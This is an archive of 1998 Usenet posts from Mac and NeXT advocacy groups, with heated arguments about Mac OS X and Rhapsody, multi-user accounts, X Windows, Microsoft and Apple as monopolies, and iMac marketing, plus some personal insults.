NNTP-Posting-Date: Tue, 22 Sep 1998 19:21:45 EDT
A few people have brought up the issue of multiple user
accounts in the Mac universe where mutiple accounts are
foreign to the users.
This *is* an area where we have to provide education.
I've already been through the experience with some friends
who were on Windows 95, and I helped them "upgrade" to
Windows NT, to obtain more stability. Sad, isn't it?
Anyway, one of the first areas I had to deal with was
explaining --- several times over --- the notion of multiple
user accounts, all with their own passwords, and all with
their own profiles, and all that. It took a liitle bit
of time to get the concepts across, but now they are all
happy. Especially the seven-year old, who takes great
delight in having her own personal pigpen where she keeps
all her games and fashion design software and such.
Multiple user accounts is one of those somewhat subtle things
that [some] people have trouble grasping onto --- one of
those "why would anybody want to do that"? Like multi-
tasking --- most Mac/PC users can't figire out why you
need it.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: Tue, 22 Sep 1998 15:33:43 -0500
Organization: Ericsson North America Inc.
Message-ID: <360809A7.2DA4D780@ericsson.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <36007F55.B489EF78@nstar.net> <6tsmiv$689@news1.panix.com> <36026BF9.CE1373CB@nstar.net> <6u3qk0$duv@news1.panix.com> <36072843.5A2347B9@nstar.net> <6u8ih4$mf@news1.panix.com>
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Sal Denaro wrote:
> That was my point, that Apple hardware can be replaced by PC hardware
> and that Apple doesn't have a monoploy anymore than Dell or Gateway.
No, that wasn't your point; read the thread. Your point is as fluid as
your opinions appear to be. In fact, I've noticed that you have exactly
one goal, here, that being to impress people and ingratiate yourself. No
offense.
> If Joe (or someone else) who has demonstrated a strong Mac bias, claims
> that nothing can replace a Mac; is his opinion more credible than the
> actions of the marketplace?
What are you talking about? I don't have to come to an impartial
decision regarding the quality of the Macintosh platform. I'm making an
observation regarding Apple and its markets. What in the world do the
actions of the rest of the marketplace have to do with this?
> >By the way, somewhere in here are supposed to be several paragraphs
> >which you appear to have cut. I think I asked you a question regarding
> >your argument. What happened to them? I don't see any '[cut]' marks.
>
> I didn't see any need to respond to them.
Ah. Quick hint: a '[cut]' mark is necessary for that. Otherwise, someone
less forgiving might assume that you were dodging an important flaw and
embarassment to your argument.
> >You're stretching a long way to transform random unethical business
> >practices into "undermining your rights". Very strange logic involved,
> >there.
>
> You're stretching a long way to transform random unethical business
> practices into the ethical rights of a company.
I've done no such thing. Neither I nor anyone else has the need to
justify actions which are not prohibited by law, do you agree or
disagree? I am not required to affirm the ethics of what is not illegal
*by rule of law* in the context of public policy. The burden is upon
*you* to demonstrate the poor ethics can be illegal, and in this case,
they are not (again, by rule of law).
> >I didn't know that lying was illegal.
>
> So you think it is legal to knowingly deceive business partners?
You'll have to explain what you mean, instead of making sweeping
generalities that demonstrate a complete lack of regard for the
argument. Lying is not illegal. That is what I said, and *exactly* what
I said. The only exception is when the subject is under oath in a court
of law (such as a grand jury deposition).
> They are under investigation for abuse of monopoly position. The fact that
> they feel that they can lie, and get away with it, is clear indication that
> they do have that abilty.
If Salvatore Denaro lies and can get away with it, are you abusing
monopoly position? Of course you do and can, and of course you are not a
monopoly. This is ridiculous, don't waste my time with useless
argumentation.
> Acer was told not to ship Lotus products with their machines. Others were
> told not to remove IE or install NetScape
No, they were told that conditions of their Windows licenses included
the above. Are you telling me that Microsoft does not have the legal
right to write its own licensing conditions?
> I also have to right to appeal to my elected representatives to act on my
> behalf.
As I said, freedom of press. However, they do not have the jurisprudence
to act outside of accordance with the Constitution. If you ask them to
do that, they are obliged to ignore you (as your elected
representatives! yes, really). Most Constitutional scholars agree that
representatives are required to obey the law, whatever their
constituents might say.
> >When you begin to talk about federal action or legislation -- as you put
> >it, changing the rules for one company --
>
> Not one company, any company in that position.
Since you have never defined the position, except in the convenient
terms of Microsoft's current status, I can only assume that your
argument is flexible enough to fit your practical desires. This is would
stand to reason by evidence of previous correspondence.
> Like Theodore Roosevelt and James Madison? Both believed that no one
> should weld unchecked power.
Yes, to TR. No, to James Madison. I don't know what causes you to place
a Progressive with a Classical Liberal, but whatever it is (probably
pure ignorance) the comparison makes no sense. And in any case, if you
can demonstrate that Microsoft wields unchecked power, I certainly wish
you would.
After all! What good is a DoJ probe if Microsoft has unchecked power?
> LOL. This is the typical drivel you post. Obviously anyone who doesn't
> agree with you is uninformed.
No, it's just you.
> Should I repost that comment you made that
> you have no control on what actions your congressman makes?
Well, it would be less cowardly of you, lackwit, if you were to actually
post the comment, rather than to misrepresent my remarks. But no matter;
I can be big enough for the both of us, little man.
MJP
Message-ID: <360838EC.89E6991D@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982032190001@d150-184.ce.mediaone.net>
<libra-2109982353010001@h24-65-33-83.rd.wave.shaw.ca> <6u88v3$lsb$1@nnrp1.dejanews.com>
<3607C5DE.715B7989@nstar.net> <Ezp1Dq.Bt6@T-FCN.Net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Tue, 22 Sep 1998 19:56:47 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 22 Sep 1998 18:55:24 -0500
Maury Markowitz wrote:
> I note you now feel free to use the term "Rhapsody" to describe Apple's OS
> efforts, while only a week ago you were playing the "what do you mean by
> "Rhapsody"" game on me. To save you the trouble in the future, it's obvious
> we both agree on what the term refers to.
Oh, Maury, this is beneath you. If I remember correctly, you were having
trouble with the definition of an operating system. Don't paint this as
my mistake. The thread is a matter of public record.
MJP
Message-ID: <360839F8.DB2A10D4@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Qs:]Re: Worried about MacOS X
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy> <360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5bd6$hej$1@nnrp1.dejanews.com> <36066CCC.1C2FC4DC@trilithon.com> <36072146.95A4CFE@nstar.net> <3607D74D.B51BC700@trilithon.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Tue, 22 Sep 1998 20:01:14 EDT
Organization: ISPNews http://ispnews.com
Date: Tue, 22 Sep 1998 18:59:52 -0500
Henry McGilton wrote:
[cut]
> My thinking is that people who need X-Windows are probably capable
> enough to obtain it for themselves. If there is a big enough
> demand, the potential may even exist for a third-party business.
> Macintosh used to have at least two X servers available --- MacX
> and White Pine's eXodus. I would not be surprised if they ported
> over to Rhapsody.
Certainly, but the point is that many enterprise users are going to want
X-Windows, and I think they're numerous enough that it should be in the
operating system. I'm not sure what you mean by "foisted upon them"
below, but I really don't think the presence of an X Server icon is
going to affect the average user any more than the presence of an IBM
Host-On-Demand icon affects Windows Communicator users.
I don't use X Windows for administrative use any more. I use it for
normal development work because it gives me the power of an entire
network, not just a single box. Remotability is underrated, in my
opinion.
It's yet another tool for the toolbox. Why leave it out?
[cut]
MJP
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: What we need from Mac OSuX
Message-ID: <1998Sep22.152015.6285@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <no-spam-2009981343130001@port-37-39.access.one.net>
Date: Tue, 22 Sep 1998 15:20:15 GMT
In article <no-spam-2009981343130001@port-37-39.access.one.net>
no-spam@one.net (MojiDoji) writes:
> When most people get this response, they want to defend
> their position. This is why many Mac users have this attitude, it's
their
> defense mechanism.
Can't we all just get along??? ;-)
When did we all become pawns in the big corps.' battle over personal
computer superiority?
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Monopolies
Message-ID: <1998Sep22.163254.8270@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <6u24bb$m92$1@birch.prod.itd.earthlink.net>
Date: Tue, 22 Sep 1998 16:32:54 GMT
In article <6u24bb$m92$1@birch.prod.itd.earthlink.net> "Todd Arneson"
<s124@[REMOVE]earthlink.net> writes:
>
> FACT: DR-DOS on a 286 will NOT crash as much as the iMac.
Don't take this wrong, I'm not being a smart*ss, Just wondering: given
the relative new-ness of the iMac, what basis do you have for this
statement? I haven't heard anything about a rash of iMac crashing
problems, and I've been watching.
I'm just wondering because several people I know heard they are solid,
stable machines and are contemplating purchasing for that reason. If
there's news about an iMac bug or crash, I'd be interested in any URL or
Usenet reference...
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: What we need from Mac OSuX
Message-ID: <1998Sep21.213316.5419@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <Josh.McKee-1909981057150001@166-93-69-218.rmi.net>
Date: Mon, 21 Sep 1998 21:33:16 GMT
In article <Josh.McKee-1909981057150001@166-93-69-218.rmi.net>
Josh.McKee@cbns.com (Joshua T. McKee) writes:
> In article <6tupg9$6fb$1@plo.sierra.com>, "Earl Malmrose"
> <earl.malmrose@nospam.sierra.com> wrote:
>
> > Joe Ragosta wrote in message ...
> > >In article
<macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net>,
> > >macghod@concentric.net (Steve Sullivan) wrote:
>
>
> > >OK. The more appropriate analogy is that Compaq has a monopoly of the
> > >Presario market and IBM has a monopoly on the ThinkPad market. It's
the
> > >same thing. And it's a meaningless statement.
> >
> > Wrong. There is a PC market, and there is a Mac market. The Mac is a
> > platform, the PC is a platform. The Presario isn't a platform. The
ThinkPad
> > isn't a platform. The very same software that runs on the ThinkPad,
runs on
> > the Presario, and vise-versa. There is no PC monopoly. You buy a
computer to
> > run software. If that software can run on another system, then there's
no
> > monopoly. If I need to run Electric Image, I must buy an Apple
Macintosh. If
> > I need to run 3D Studio Max, I can buy an IBM, a Compaq, a Dell, a
Gateway,
> > or any other machine from many manufacturers.
>
>
> God you people are stupid!
>
> Are you saying that Sun has a monopoly? What about SGI? What about HP?
> All these companies make their own computers without allowing clones
(Sun
> at one time did but I believe has stopped that practice). Are you going
> to tell me, with a straight face, that all these companies have a
monopoly
> because they are the only producers of their respective computers? That
> should be good for a laugh.
>
> Joe's right...just because Apple is the only manufacturer of the
Macintosh
> doesn't make them a monopoly.
>
> Josh
I think the important thing to remember here is that some companies (like
Apple) produce both hardware and software, and others just software.
Apple chose a long time ago to produce the hardware that their OS runs on,
and has re-affirmed that decision by holding together the two as one
company. Meanwhile, Microsoft has prospered as a (mostly) software-only
company -- probably a better decision, in the long run, considering the
low margins of hardware these days.
But, perhaps a better way to put it would be this: (to paraphrase a
previous drawing...)
APPLE MICROSOFT RED HAT, SUSE, OTHERS
| | |
APPLE OS WINDOWS 95 LINUX
| | |
APPLE HARDWARE [COMPAQ, IBM, ACER, JOES' COMPUTER STORE]
Clearly Microsoft has a monopoly on Windows 95, but not the machines that
it runs on - those machines can run Linux as well. They can influence how
those machines are sold, but so what? So does Apple! But, only one
company -- Apple -- has a lock on all three levels, with no
interoperability between them. (Of course, I'm speaking of NOW at this
moment, not what hopes Apple has for the future...)
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Multiple Users (was: Worried about MacOS X)
Message-ID: <edewEzpouz.4vC@netcom.com>
Sender: edew@netcom17.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <19980922105025.01295.00000008@ng79.aol.com> <6u961e$e9c$2@msunews.cl.msu.edu> <360831C3.D9DAC82F@trilithon.com>
Date: Wed, 23 Sep 1998 00:47:23 GMT
In article <360831C3.D9DAC82F@trilithon.com> Henry McGilton <henry@trilithon.com> writes:
>Multiple user accounts is one of those somewhat subtle things
>that [some] people have trouble grasping onto --- one of
>those "why would anybody want to do that"? Like multi-
>tasking --- most Mac/PC users can't figire out why you
>need it.
>
You got it. Being a long-time NeXT user, I have to explain to people why I
want to have multiple windows opened on the desktop. Most people are still
enlarging their windows to maximize (on both MS OSes and Macs) and flip from
one maximized window to another....what's the point of multi-tasking if one
can only see one window at a time?
EDEW
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Apple as a cold blooded killer (Re: A prediction)
Date: 22 Sep 1998 21:23:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6u94g7$658@news1.panix.com>
References: <6u3qjp$duv@news1.panix.com> <edewEznCxB.G37@netcom.com> <6u8ih3$mf@news1.panix.com> <edewEzp8Iz.3Jr@netcom.com>
On Tue, 22 Sep 1998 18:54:34 GMT, Eric Dew <edew@netcom.com> wrote:
>Mark Twain wrote a cute little short story about four artist-painter friends
>who couldn't sell their works for pennies to the dollar (of effort). They
>devised a little marketing scheme (claiming the master has died and there
>are no more of his paintings), then sold a bunch of studies and sketches
>at 100X previous costs. THAT'S Marketing and that's what Apple should aspire
>to be, not just another (beige) computer maker.
Are you suggesting that Apple kill Steve Jobs and then work to sell existing
iMacs at $500k each?
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Apple as a cold blooded killer (Re: A prediction)
Message-ID: <edewEzpoKC.4HB@netcom.com>
Sender: edew@netcom17.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6u8ih3$mf@news1.panix.com> <edewEzp8Iz.3Jr@netcom.com> <6u94g7$658@news1.panix.com>
Date: Wed, 23 Sep 1998 00:41:00 GMT
In article <6u94g7$658@news1.panix.com> sal@panix.com writes:
>On Tue, 22 Sep 1998 18:54:34 GMT, Eric Dew <edew@netcom.com> wrote:
>>Mark Twain wrote a cute little short story about four artist-painter friends
>>who couldn't sell their works for pennies to the dollar (of effort). They
>>devised a little marketing scheme (claiming the master has died and there
>>are no more of his paintings), then sold a bunch of studies and sketches
>>at 100X previous costs. THAT'S Marketing and that's what Apple should aspire
>>to be, not just another (beige) computer maker.
>
>Are you suggesting that Apple kill Steve Jobs and then work to sell existing
>iMacs at $500k each?
>
Well, in the story, they didn't actually have to kill the "master." He was
one of the four artists picked by lot to "die." They held a funeral for
him and then went out prosletyzing his art. Maybe if Jobs wants to move to
a secluded farm in Montana and live out the rest of his life in peace and
quiet with complete detachment from the rest of the world (Montana seems to
be a great place for that), I think Apple should think twice about seeing
how they can fake a fiery death in Steve's helicopter and then go out selling
the best of Steve's toys....$20K NeXT machines once again.
EDEW
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Tue, 22 Sep 1998 18:15:57 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u9i68$17q$1@holly.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net> <6u0jgo$esu$1@oak.prod.itd.earthlink.net> <Josh.McKee-1909982157120001@166-93-57-197.rmi.net> <6u24rn$mu3$1@birch.prod.itd.earthlink.net> <Josh.McKee-2009980954380001@166-93-82-37.rmi.net> <6u3hb2$9sn$1@holly.prod.itd.earthlink.net> <Josh.McKee-2109981713200001@166-93-57-171.rmi.net> <6u6qrq$6a2$1@nntp2.ba.best.com> <Josh.McKee-2209981652040001@166.93.82.135>
Joshua T. McKee wrote in message ...
>In article <6u6qrq$6a2$1@nntp2.ba.best.com>, "Lower Wolf"
><wolf@nospam.com> wrote:
>
>> Joshua T. McKee wrote in message ...
>> >I see nothing in your message that even hints at sarcasm. This is an
>> >attempt to change an insult into more of an insult. Nice try.
>
>> I'm not involved here... but I couldn't help but notice. No offense,
Josh,
>> but that's really blaringly obvious sarcasm.
>
>
>Then I must be dumb then as I cannot see it, especially if it is
>"blaringly". So could you help me and point out the obvious for which I
>cannot see. Here is what he said:
>
>"Wow, hard hitting insults. What next, are you going to call me a clown
>just like you buddy Derek? BAHAHAHA!"
>
>Again, I do not see anything sarcastic there, unless the reference to
>Derek is somehow meant to me something to me, which it doesn't.
Somebody call a medic, someone's been affected with the click-and-drool
interface!!! (MacOS)
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Worried about MacOS X
Message-ID: <1998Sep22.152344.6372@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <6u4b54$ikv@news1.panix.com>
Date: Tue, 22 Sep 1998 15:23:44 GMT
In article <6u4b54$ikv@news1.panix.com> sal@panix.com (Sal Denaro) writes:
> On Sun, 20 Sep 1998 18:46:59 +0100,
> Stephen Totten <stephent@comm.mot.com>
wrote:
> >I'm kindof worried that Apple are choosing to base their new 'consumer'
OS
> >on top of what is basically UNIX, which definitely not a consumer OS
(e.g.
> >who would think of looking in /etc to find the password file, and
setting up
> >printers is a job and a half).
>
> If Rhapsody DR2 is any indication of what you can expect of MacOSX, I
don't
> think you'll have to hack text files by hand to use the system.
>
> Accounts are managed via a GUI App. So are printers. So is just about
> everything else. If you _want_ to use the CLI, you can. If you don't
want to,
As a matter of fact, this has been the case with NEXT since 3.x... it's
possible to be a NEXT User without ever learning a think about Unix, BSD,
Mach, or anything. The only thing that kept NEXSTEP out of the consumer
market was pricetag, IMHO.
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Message-ID: <jpolaski-2209982106460001@d150-184.ce.mediaone.net>
References: <6u6fpo$jq3@newsb.netnews.att.com> <jpolaski-2109982033530001@d150-184.ce.mediaone.net> <36070f78.1005082@nntp.service.ohio-state.edu> <jpolaski-2209981148490001@poolf5-040.wwa.com> <6u8ni2$6iu$1@charm.magnus.acs.ohio-state.edu>
Organization: Polaski P/D/C, 15 West Hubbard, Chicago,IL 60610
Date: Tue, 22 Sep 1998 21:06:45 -0600
NNTP-Posting-Date: Tue, 22 Sep 1998 21:07:23 CDT
In article <6u8ni2$6iu$1@charm.magnus.acs.ohio-state.edu>, Steve
<nospam@nospam!.kom> wrote:
> Jim Polaski wrote:
>
> > In article <36070f78.1005082@nntp.service.ohio-state.edu>,
> > nospam@nospam!.kom (Steve) wrote:
> >
> > > On Mon, 21 Sep 1998 20:33:53 -0600, jpolaski@NO.wwa.com (Jim Polaski)
> > > wrote:
> > >
> > > >In article <6u6fpo$jq3@newsb.netnews.att.com>,
> > > >gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> > > >
> > > >> ZDNet reports that Microsoft may deliver NT 5.0 beta 3 by
> > > >> Thanksgiving and NT 5.0 final delivery 12-15 weeks after
> > > >> that -- Q1-Q2 1999. This flies in the face of analysts'
> > > >> predictions of late 1999 to year 2000 delivery.
> > > >>
> > > >>
> >
http://www.zdnet.com/zdnn/stories/zdnn_smgraph_display/0,4436,2139533,00.html
> > > >>
> > > >> -arun gupta
> > > >=======
> > > >
> > > >OOps..forgot that in todays INfoworld, there was a comment by an IS type
> > > >saying he didn't want NT 4.5 either as all that did was raise costs since
> > > >he then had to do another installation/migration etc...instead he'd
rather
> > > >just wait, ....patiently.
> > > >
> > >
> > > That was simply a rhetorical comment because there is no such thing as
> > > NT 4.5.
> > >
> > ======
> > Still doesn' t matter though. He WAS saying that IF it did, he would not
> > want it due to the cost of implimentation, TWICE, having to do it all over
> > when 5 arrives.
> >
> > How is that so hard to understand?
> >
>
> It isn't hard to understand...it's meaningless. Who cares whether
someone would or
> would not use a product that is not, and will not ever be available?
>
> -Steve
====
Um, I hate to tell you this, but the "who" that cares was that IS guy. The
conjecture was that would folks buy an interim NT 4.5 to solve the Y2k
Stuff and other things. His answer was no, for teh above reasons and that
he would wait....wait until NT 5 was a stable release. mkae of that what
you will, but it probably means he isn't upgrading soon...
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Worried about MacOS X
Content-Type: text/plain; charset=us-ascii
Message-ID: <EzpHJ8.LLJ@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: mmccullo@nospam.net
Organization: none
References: <6u3f47$3nb$1@schbbs.mot.com> <360571EA.7CBACC53@trilithon.com>
<6u5827$c13$1@schbbs.mot.com> <3606F3F8.D2B36795@trilithon.com>
<Ezp21u.C7n@T-FCN.Net> <3607e62a.15432252@news.icx.net>
Mime-Version: 1.0
Date: Tue, 22 Sep 1998 22:09:07 GMT
In <3607e62a.15432252@news.icx.net> Michael McCulloch wrote:
> Any luck with the 3rd party PPP for DR2? Does it work on Intel hw?
Haven't even tried. The experience was so distasteful that my current
thoughts are towards a router and ADSL line instead. However I don't really
do enough work at home to justify the $90 or so a month for ADSL, and Roger's
still won't provide cable in my area.
Gatekeeper is supposed to be pretty good these days, but I haven't tried
it. The OS4.2 version I had was as confusing as anything else.
Maury
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: A prediction
Message-ID: <edewEzpoEt.451@netcom.com>
Sender: edew@netcom17.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6u8ih3$mf@news1.panix.com> <edewEzp8Iz.3Jr@netcom.com> <6u9475$61t@news1.panix.com>
Date: Wed, 23 Sep 1998 00:37:41 GMT
In article <6u9475$61t@news1.panix.com> sal@panix.com writes:
>On Tue, 22 Sep 1998 18:54:34 GMT, Eric Dew <edew@netcom.com> wrote:
>
>Dell doesn't have a consumer line. Can you name any company with a consumer
>line that doesn't have a $1k machine?
>
Exactly what do you mean by "consumer line?" If I can buy from Dell, any
machine they have, isn't tha a consumer line, or do you have a technical
definition of the term?
>When have I said that Apple shouldn't be selling high end hardware? GM has
>its $40k SUVs and it $10->15k GEO line, its $15->20k Saturn line and Trucks,
>Minivans and what have you.
>
The Sloan method of making a line for every price point HAS been debunked.
Actually, Sloan's original plan of having non-overlapping price point
products do work to some degree, but it has been abused by later GM CEOs
and overlapping priced products only hurt sales because customers can't
tell why a camaro at $40K is better than a Cadillac at $38K or vice-versa.
It's better to focus on one thing rather than shotgun it and put a product
out there at every price point. The only thing that will do is draw sales
onto one price-point at the expense of another price point. Thus, the
company needs to make product A for price $A and product B for price $B
and customers will buy either A or B.
>In that same way, Apple should have its high end $1.5->5k line and its low
>cost line. Apple even subdivides these lines down to "good, better, best"
>models. I see no reason why there couldn't (or shouldn't) be good, better
>and best iMacs.
>
>Super Nintendo? Sega? Sony Playstation? All of them have tried to underprice
>each other to build market.
>
Is it because they were selling ALL the inventory or because they weren't
selling all their inventory?
>An OEM machine is still an Apple.
>
>> What is the perception of Apple by the
>>market?
>
>An OEMed iMac would still look like a gumdrop. There is no law about OEM
>machines having to be beige.
Well, I didn't imply that the OEM can't have the look and feel of the iMac.
My perception in this whole argument rested on the assumption that Apple
has to produce more on their own dime.
>
>> If the perception by the market is that Apple represents a solid
>>product with every item in it made by Apple, then OEMing the iMac is suicide.
>
>Can you point to any studies that suggest that OEMed equipment is not as
>high a quality as Apple produced equipment? OEMed HP printers have not killed
>HPs reputation.
It's never been high quality. If high quality was the only determination of
whether a product will sell or not, I think everyone would have pretty much
determined how to do the business of business.
>
>>>I don't follow this logic. The demand for $1299 iMacs will drop over time, and
>>>quickly, as the competition works to provide products marketed the same way.
>>Not if Apple positions itself properly. I don't see prices for Rolls Royces
>>dropping over time.
>
>Keep in mind that BMW, Porsche and Mercedes all have "entry level" cars. The
>$30k Three series doesn't dilute the value of the $80 Five series. And BMW is
>planning to go head to head with Honda when they introduce the new BMW2002
>
And they will hurt themselves by doing so. If you want an SUV, you'd buy
the grand daddy of them all, the Chevy Suburban, not the Mercedes version
(ok, some people do buy that model, but I can guarantee you that it's not
going to be a big seller for Mercedes). If you want a sports car, you
won't buy the Cadillac Catera (if that is marketed as a sports car...I have
no clue what the Catera is marketed as, and probably neither do GM folks).
If BMW and Mercedes and Porche wants to hurt themselves by line-extending,
don't bring them up as examples of good marketing plans.
>>But the iMac is NOT like any other consumer product.
>
>Yes it is. Making it blue doesn't free it from the laws of economics.
>
No, the perception that Apple is trying to make is that it is NOT just another
consumer product. Whether it is in reality (whatever that is) is not
the issue.
>>positioning it as YACP to put in your house.
>
>Did you see the "three easy steps to the internet ad" of the "unPC ad"? They
>aren't selling it as a flower vase, they are selling it as _the_ YACP you
>should have.
>
>> Look at the ads: "Sorry no
>>beige", (and others I can't recall at the moment). They're being different in
>>the same way the current VW beetle is trying to be different.
>
>Apple is not a religion. Slick marketing doesn't make the iMac a tin god.
>
>>>> The proper way to decide is based on good decision analytic
>>>>practice.
>>>And where do you get your data for those analytics? Do you pull them out of
>>>thin air, or do you go back and look at systems that worked in the past?
>>Well, to a degree, you might model a new system on similar systems of the
>>past.
>
>That was my point. The historical evidence clearly supports my view.
>
I forgot to mention that it them breaks down old systems to demonstrate that
using old models can be deadly to the bottom line.
I am surprised that you as a consultant have not heard of decision analysis.
After 20+ years of mathematics (from primary school through graduate school
with PhD), I have never seen a clearer and more utilitarian area of
mathematical study than the Stanford school of decision analysis. Maybe it's
the way the teachers taught, but the content was quite compelling and
convincing.
EDEW
Message-ID: <36084CDA.E205A40C@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
References: <6u4b54$ikv@news1.panix.com> <1998Sep22.152344.6372@il.us.swissbank.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Tue, 22 Sep 1998 18:20:26 -0700
NNTP-Posting-Date: Tue, 22 Sep 1998 21:17:44 EDT
Michael Humphries-Dolnick wrote:
* In article <6u4b54$ikv@news1.panix.com> sal@panix.com
* (Sal Denaro) writes:
* * Accounts are managed via a GUI App. So are printers.
* * So is just about everything else. If you _want_ to
* * use the CLI, you can. If you don't want to,
* As a matter of fact, this has been the case with NEXT
* since 3.x...
Actually since 2.x days.
* it's possible to be a NEXT User without ever learning a
* think about Unix, BSD, Mach, or anything.
* The only thing that kept NEXSTEP out of the consumer
* market was pricetag, IMHO.
This last item doesn't hold water. The pricing issue has been
thrashed around forever, and the evidence doesn't support it.
The Next system suffered badly from lack of applications [now
don't everybody jump on me for that --- after all, I was
developing for Next as well] and probably the killer was the
marketing message of the month problem. That, and the early
nonsense that they wouldn't sell to you if you weren't in their
"target market segment".
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Worried about MacOS X
Date: Tue, 22 Sep 1998 20:07:57 +0100
Organization: EarthLink Network, Inc.
Message-ID: <3607F58A.19A4@earthlink.net>
References: <6u3f47$3nb$1@schbbs.mot.com> <01bde4dd$b6e75080$06387880@chewy>
<360561C0.6CE7@earthlink.net> <3605FA5F.F07323AD@trilithon.com> <6u5aoh$8s6$4@msunews.cl.msu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
spammers@ruin.the.internet.channelu.com wrote:
> Somehow it is easy to see that probably neither of these posters has ever used
> MacOS nor most certianly NeXTstep/Openstep.
Excuse me, but I have been using NeXT/Openstep since '94. I like
NeXT/Openstep and the even the Mac OS and look foward to the new OS from
Apple. That is why I said I could care less about the availability of
VPC or SoftWindows. They are however there for those who choose to
use them as well as all the UNIX benefits out there.
Steve
